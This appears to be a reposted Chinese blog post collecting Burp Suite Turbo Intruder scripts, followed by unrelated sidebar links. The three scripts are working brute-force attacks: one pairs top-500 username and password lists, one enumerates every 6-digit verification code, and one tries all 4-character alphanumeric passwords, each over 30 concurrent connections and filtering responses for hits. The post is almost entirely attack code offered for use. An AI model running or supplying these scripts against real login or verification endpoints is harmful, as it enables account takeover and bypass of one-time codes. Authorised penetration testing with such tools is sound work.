当前位置:网站首页>turbo intruder常用脚本
turbo intruder常用脚本
2022-07-07 21:50:00 【b1ackc4t】
爆破用户名密码
from urllib import quote
def user_password_brute(target, engine):
for password in open("D:\\crypto\\mutou\\fuzzDicts\\passwordDict\\top500.txt"):
for user in open("D:\\crypto\\mutou\\fuzzDicts\\userNameDict\\top500.txt"):
engine.queue(target.req,[quote(user.rstrip()),quote(password.rstrip())])
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
#user_brute(target,engine)
#password_brute(target,engine)
user_password_brute(target,engine)
def handleResponse(req, interesting):
table.add(req)
爆破6位验证码
from itertools import product
def brute_veify_code(target, engine, length):
pattern = '1234567890'
for i in list(product(pattern, repeat=length)):
code = ''.join(i)
engine.queue(target.req, code)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True
)
brute_veify_code(target, engine, 6)
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
table.add(req)
爆破密码
from itertools import product
def brute_veify_code(target, engine, length):
pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for i in list(product(pattern, repeat=length)):
code = ''.join(i)
engine.queue(target.req, code)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True
)
brute_veify_code(target, engine, 4)
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
if 'password not match' not in req.response:
table.add(req)
边栏推荐
- Quelles sont les similitudes et les différences entre les communautés intelligentes et les villes intelligentes?
- Comparison of various development methods of applets - cross end? Low code? Native? Or cloud development?
- 今日创见|企业促进创新的5大关键要素
- Unity3D学习笔记4——创建Mesh高级接口
- 开发那些事儿:Go加C.free释放内存,编译报错是什么原因?
- The 19th Zhejiang Provincial Collegiate Programming Contest VP记录+补题
- 消费品企业敏捷创新转型案例
- Network security - information query of operating system
- JS triangle
- Txt file virus
猜你喜欢
Brush question 3
Install a new version of idea. Double click it to open it
2021ICPC上海 H.Life is a Game Kruskal重构树
Database daily question --- day 22: last login
Matlab-SEIR传染病模型预测
ArcGIS:字段赋值_属性表字段计算器(Field Calculator)依据条件为字段赋值
微信论坛交流小程序系统毕业设计毕设(1)开发概要
ArcGIS:矢量要素相同字段属性融合的两种方法
Wechat forum exchange applet system graduation design completion (4) opening report
The wonderful relationship between message queue and express cabinet
随机推荐
It's no exaggeration to say that this is the most user-friendly basic tutorial of pytest I've ever seen
DTC社群运营怎么做?
微信论坛交流小程序系统毕业设计毕设(3)后台功能
Lecture 30 linear algebra Lecture 5 eigenvalues and eigenvectors
I wish you all the best and the year of the tiger
Database daily question --- day 22: last login
Software evaluation center ▏ what are the basic processes and precautions for automated testing?
Network security - phishing
Two kinds of curves in embedded audio development
Txt file virus
Use JfreeChart to generate curves, histograms, pie charts, and distribution charts and display them to jsp-2
Unity3D学习笔记4——创建Mesh高级接口
Unity3D学习笔记5——创建子Mesh
聊聊支付流程的设计与实现逻辑
OC variable parameter transfer
Gee (III): calculate the correlation coefficient between two bands and the corresponding p value
ArcGIS: two methods of attribute fusion of the same field of vector elements
Innovation today | five key elements for enterprises to promote innovation
What are the similarities and differences between smart communities and smart cities
Brush question 5